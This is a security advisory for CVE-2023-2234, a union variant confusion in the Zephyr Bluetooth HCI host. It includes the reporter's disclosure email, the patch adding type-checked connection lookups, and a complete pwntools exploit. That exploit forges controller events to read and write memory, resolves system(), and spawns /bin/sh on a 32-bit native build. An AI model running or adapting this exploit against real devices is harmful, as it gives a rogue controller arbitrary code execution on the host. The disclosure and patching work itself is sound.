Skip to content

BT HCI host union variant confusion

Moderate
ceolin published GHSA-jcx5-3v9g-xf9j Jul 10, 2023

Package

Zephyr (west)

Affected versions

>= 1.0.0

Patched versions

None

Description

Summary

Union variant confusion allows any malicious BT controller to execute arbitrary code on the Zephyr host.

Details

If an HCI event of one type arrives for a handle of a different connection type, a union variant confusion happens because of no checks for the type of the indicated connection.

The worst example of this is HCI_Link_Key_Request/HCI_Link_Key_Notify interleaved with HCI_LE_Connection_Update_Complete, which on 32-bit builds results in an arbitrary read/write vulnerability that can be triggered by any rogue controller.

PoC

CONFIG_BT_CONN=1
CONFIG_BT_BREDR=1

Full exploit (32-bit posix_native assumed)
#!/usr/bin/env python3

from pwn import*

r = remote('127.0.0.1', 1337)

discovery_results = 0x08083798

CMD_CPT = 0x0e
CONN_RQ = 0x04
CONN_CPT = 0x03
LE_META = 0x3e
KEY_RQ = 0x17
KEY_NT = 0x18
INQ_CPT = 0x01

def event(ev, payload):
    r.send(bytes([4, ev, len(payload)]) + payload)

def readpkt():
    feedback = None
    b, = r.recvn(1)
    if b == 1:
        pay = r.recvn(3)
        pay += r.recvn(pay[2])
        ret = b''
        cmd = u16(pay[:2])
        if cmd == 0x0c03:  # reset
            ret = b'\0'
        elif cmd == 0x1003:  # local sup features
            ret = b'\0' b'\0\0\0\0\0\0\0\0'
        elif cmd == 0x1001:  # local ver info
            ret = b'\0' b'\x08' b'\0\0' b'\x08' b'\x59\x00' b'\0\0'
        elif cmd == 0x1002:  # local sup cmds
            ret = b'\0' + b'\0' * 64
        elif cmd == 0x1009:  # BD_ADDR (needed by Linux only)
            ret = b'\0' b'\3\2\1\x36\xce\xf4'
        elif cmd == 0x040b:  # link key req reply
            feedback = pay[9:]
        if not feedback:
            info("got command:\n%s", hexdump(pay))

        event(CMD_CPT, b'\xff' + pay[:2] + ret)
    else:
        info("unknown pkt type: %#x", b)
    return feedback

def set_addr(pointer):
    event(LE_META, b'\3' b'\0' b'\7\f' b'\xcc\xcc' + p32(pointer))

def raw_leak():
    event(KEY_RQ, b'\1\2\3\4\5\6')
    return readpkt()

def write016(data):
    assert len(data) == 16
    event(KEY_NT, b'\1\2\3\4\5\6' + data + b'\0')

def leak(addr):
    if addr == pointer0:  return b'\x7f'
    set_addr(addr - 9)
    return raw_leak()

# respond to initial setup packets
for _ in range(5):
    readpkt()

# set up a connection
event(CONN_RQ, b'\1\2\3\4\5\6' b'\0\0\0' b'\1')
readpkt()  # optional

# mark the connection active
event(CONN_CPT, b'\0' b'\7\f' b'\1\2\3\4\5\6' b'\1' b'\0')
readpkt()  # optional

# leak address of system(3)
delf = DynELF(leak, pointer0)
system = delf.lookup('system', 'libc')
info('system @ %#x', system)

set_addr(discovery_results + 16 - 9)
write016(fit(b'/bin/sh\0', length=16))
set_addr(discovery_results - 9)
write016(fit([discovery_results + 16, system], length=16))
event(INQ_CPT, b'\0')

pause()

# crash
set_addr(0xdeadbeef)
write016(b'\xa6' * 16)

Impact

The only affected are Zephyr BT hosts allowing plugging in untrusted BT controllers.

History

I emailed a ready patch to vulnerabilities@zephyrproject.org first, but I have received no ACK whatsoever in two weeks' time (maybe it got marked as spam... ugh, hopelessly broken SMTP). Hope the issue gets better recognition here. A copy of the e-mail is provided below for reference:

Return-Path: <akozdra@antmicro.com>
Received: by smtp.gmail.com with ESMTPSA id g19-20020a17090613d300b00931db712768sm13742376ejc.4.2023.03.27.02.37.35
        (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
        Mon, 27 Mar 2023 02:37:36 -0700 (PDT)
From: Arkadiusz Kozdra <akozdra@antmicro.com>
To: vulnerabilities@zephyrproject.org
Cc: Tomasz Gorochowik <tgorochowik@antmicro.com>, "Karol Gugała" <kgugala@antmicro.com>, Arkadiusz Kozdra <akozdra@antmicro.com>
Subject: [PATCH] bluetooth: host: add checks for connection types
Date: Mon, 27 Mar 2023 11:21:47 +0200
Message-Id: <20230327092145.72618-1-akozdra@antmicro.com>
X-Mailer: git-send-email 2.30.2
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

If an HCI event of one type arrives for a handle of a different
connection type, a union variant confusion is avoided by checking for
the type of the returned connection.

The worst example of this is HCI_Link_Key_Request/HCI_Link_Key_Notify
interleaved with HCI_LE_Connection_Update_Complete, which on 32-bit
builds results in an arbitrary read/write vulnerability that can be
triggered by any rogue controller.

Signed-off-by: Arkadiusz Kozdra <akozdra@antmicro.com>
---
I hope this is the right channel for such reports, since I also found
some past vulnerability listings on both Jira[1] and GitHub Security
Advisories[2], but only this mailing list is recommended in the
documentation.  I will proceed with GHSA in case of the list looking
unreachable.

[1]: https://zephyrprojectsec.atlassian.net/browse/ZEPSEC
[2]: https://github.com/zephyrproject-rtos/zephyr/security/advisories

I made a sample exploit for the posix_native target, which should work
for nearly any app with CONFIG_BT_BREDR and CONFIG_BT_CONN enabled.
Since running the exploit is non-trivial I did not include its full code
in this e-mail.  Please let me know if you are interested, I can share
it using a channel of your preference.  The diffstat and patch follows.

 subsys/bluetooth/host/adv.c           |  2 +-
 subsys/bluetooth/host/br.c            |  4 +--
 subsys/bluetooth/host/conn.c          | 42 +++++++++++++++++++++++++++
 subsys/bluetooth/host/conn_internal.h | 11 ++++++-
 subsys/bluetooth/host/hci_core.c      | 12 ++++----
 subsys/bluetooth/host/iso.c           |  4 +--
 6 files changed, 63 insertions(+), 12 deletions(-)

diff --git a/subsys/bluetooth/host/adv.c b/subsys/bluetooth/host/adv.c
index 5f97831c3c..0a9e7cdff9 100644
--- a/subsys/bluetooth/host/adv.c
+++ b/subsys/bluetooth/host/adv.c
@@ -2024,7 +2024,7 @@ void bt_hci_le_adv_set_terminated(struct net_buf *buf)
 	}
 
 	if (IS_ENABLED(CONFIG_BT_CONN) && !evt->status) {
-		struct bt_conn *conn = bt_conn_lookup_handle(conn_handle);
+		struct bt_conn *conn = bt_conn_lookup_handle_le(conn_handle);
 
 		if (conn) {
 			if (IS_ENABLED(CONFIG_BT_PRIVACY) &&
diff --git a/subsys/bluetooth/host/br.c b/subsys/bluetooth/host/br.c
index 390fef2049..b715c52b8d 100644
--- a/subsys/bluetooth/host/br.c
+++ b/subsys/bluetooth/host/br.c
@@ -623,7 +623,7 @@ void bt_hci_read_remote_features_complete(struct net_buf *buf)
 
 	LOG_DBG("status 0x%02x handle %u", evt->status, handle);
 
-	conn = bt_conn_lookup_handle(handle);
+	conn = bt_conn_lookup_handle_br(handle);
 	if (!conn) {
 		LOG_ERR("Can't find conn for handle %u", handle);
 		return;
@@ -664,7 +664,7 @@ void bt_hci_read_remote_ext_features_complete(struct net_buf *buf)
 
 	LOG_DBG("status 0x%02x handle %u", evt->status, handle);
 
-	conn = bt_conn_lookup_handle(handle);
+	conn = bt_conn_lookup_handle_br(handle);
 	if (!conn) {
 		LOG_ERR("Can't find conn for handle %u", handle);
 		return;
diff --git a/subsys/bluetooth/host/conn.c b/subsys/bluetooth/host/conn.c
index a502424f07..350aff6141 100644
--- a/subsys/bluetooth/host/conn.c
+++ b/subsys/bluetooth/host/conn.c
@@ -1149,6 +1149,48 @@ void bt_conn_set_state(struct bt_conn *conn, bt_conn_state_t state)
 	}
 }
 
+#if defined(CONFIG_BT_CONN)
+struct bt_conn *bt_conn_lookup_handle_le(uint16_t handle)
+{
+	struct bt_conn *conn;
+
+	conn = conn_lookup_handle(acl_conns, ARRAY_SIZE(acl_conns), handle);
+	if (conn && conn->type == BT_CONN_TYPE_LE) {
+		return conn;
+	}
+
+	return NULL;
+}
+
+#if defined(CONFIG_BT_BREDR)
+struct bt_conn *bt_conn_lookup_handle_br(uint16_t handle)
+{
+	struct bt_conn *conn;
+
+	conn = conn_lookup_handle(acl_conns, ARRAY_SIZE(acl_conns), handle);
+	if (conn && conn->type == BT_CONN_TYPE_BR) {
+		return conn;
+	}
+
+	return NULL;
+}
+#endif /* CONFIG_BT_BREDR */
+#endif /* CONFIG_BT_CONN */
+
+#if defined(CONFIG_BT_ISO)
+struct bt_conn *bt_conn_lookup_handle_iso(uint16_t handle)
+{
+	struct bt_conn *conn;
+
+	conn = conn_lookup_handle(iso_conns, ARRAY_SIZE(iso_conns), handle);
+	if (conn) {
+		return conn;
+	}
+
+	return NULL;
+}
+#endif
+
 struct bt_conn *bt_conn_lookup_handle(uint16_t handle)
 {
 	struct bt_conn *conn;
diff --git a/subsys/bluetooth/host/conn_internal.h b/subsys/bluetooth/host/conn_internal.h
index 58ce4776c6..5c330dd01b 100644
--- a/subsys/bluetooth/host/conn_internal.h
+++ b/subsys/bluetooth/host/conn_internal.h
@@ -298,7 +298,16 @@ void bt_conn_disconnect_all(uint8_t id);
 /* Allocate new connection object */
 struct bt_conn *bt_conn_new(struct bt_conn *conns, size_t size);
 
-/* Look up an existing connection */
+/* Look up an existing LE connection */
+struct bt_conn *bt_conn_lookup_handle_le(uint16_t handle);
+
+/* Look up an existing BR connection */
+struct bt_conn *bt_conn_lookup_handle_br(uint16_t handle);
+
+/* Look up an existing ISO connection */
+struct bt_conn *bt_conn_lookup_handle_iso(uint16_t handle);
+
+/* Look up an existing connection of any type */
 struct bt_conn *bt_conn_lookup_handle(uint16_t handle);
 
 static inline bool bt_conn_is_handle_valid(struct bt_conn *conn)
diff --git a/subsys/bluetooth/host/hci_core.c b/subsys/bluetooth/host/hci_core.c
index 4adcb852fd..95209c9584 100644
--- a/subsys/bluetooth/host/hci_core.c
+++ b/subsys/bluetooth/host/hci_core.c
@@ -1421,7 +1421,7 @@ static void le_remote_feat_complete(struct net_buf *buf)
 	uint16_t handle = sys_le16_to_cpu(evt->handle);
 	struct bt_conn *conn;
 
-	conn = bt_conn_lookup_handle(handle);
+	conn = bt_conn_lookup_handle_le(handle);
 	if (!conn) {
 		LOG_ERR("Unable to lookup conn for handle %u", handle);
 		return;
@@ -1449,7 +1449,7 @@ static void le_data_len_change(struct net_buf *buf)
 	uint16_t handle = sys_le16_to_cpu(evt->handle);
 	struct bt_conn *conn;
 
-	conn = bt_conn_lookup_handle(handle);
+	conn = bt_conn_lookup_handle_le(handle);
 	if (!conn) {
 		LOG_ERR("Unable to lookup conn for handle %u", handle);
 		return;
@@ -1482,7 +1482,7 @@ static void le_phy_update_complete(struct net_buf *buf)
 	uint16_t handle = sys_le16_to_cpu(evt->handle);
 	struct bt_conn *conn;
 
-	conn = bt_conn_lookup_handle(handle);
+	conn = bt_conn_lookup_handle_le(handle);
 	if (!conn) {
 		LOG_ERR("Unable to lookup conn for handle %u", handle);
 		return;
@@ -1578,7 +1578,7 @@ static void le_conn_param_req(struct net_buf *buf)
 	param.latency = sys_le16_to_cpu(evt->latency);
 	param.timeout = sys_le16_to_cpu(evt->timeout);
 
-	conn = bt_conn_lookup_handle(handle);
+	conn = bt_conn_lookup_handle_le(handle);
 	if (!conn) {
 		LOG_ERR("Unable to lookup conn for handle %u", handle);
 		le_conn_param_neg_reply(handle, BT_HCI_ERR_UNKNOWN_CONN_ID);
@@ -1604,7 +1604,7 @@ static void le_conn_update_complete(struct net_buf *buf)
 
 	LOG_DBG("status 0x%02x, handle %u", evt->status, handle);
 
-	conn = bt_conn_lookup_handle(handle);
+	conn = bt_conn_lookup_handle_le(handle);
 	if (!conn) {
 		LOG_ERR("Unable to lookup conn for handle %u", handle);
 		return;
@@ -2028,7 +2028,7 @@ static void le_ltk_request(struct net_buf *buf)
 
 	LOG_DBG("handle %u", handle);
 
-	conn = bt_conn_lookup_handle(handle);
+	conn = bt_conn_lookup_handle_le(handle);
 	if (!conn) {
 		LOG_ERR("Unable to lookup conn for handle %u", handle);
 		return;
diff --git a/subsys/bluetooth/host/iso.c b/subsys/bluetooth/host/iso.c
index 183f7b3a20..b987048163 100644
--- a/subsys/bluetooth/host/iso.c
+++ b/subsys/bluetooth/host/iso.c
@@ -122,7 +122,7 @@ void hci_iso(struct net_buf *buf)
 		return;
 	}
 
-	iso = bt_conn_lookup_handle(iso(buf)->handle);
+	iso = bt_conn_lookup_handle_iso(iso(buf)->handle);
 	if (iso == NULL) {
 		LOG_ERR("Unable to find conn for handle %u", iso(buf)->handle);
 		net_buf_unref(buf);
@@ -951,7 +951,7 @@ void hci_le_cis_established(struct net_buf *buf)
 	LOG_DBG("status %u handle %u", evt->status, handle);
 
 	/* ISO connection handles are already assigned at this point */
-	iso = bt_conn_lookup_handle(handle);
+	iso = bt_conn_lookup_handle_iso(handle);
 	if (!iso) {
 		LOG_ERR("No connection found for handle %u", handle);
 		return;
-- 
2.30.2

For more information

If you have any questions or comments about this advisory:

embargo: 2023-07-20

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Physical
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-2234

Weaknesses

Credits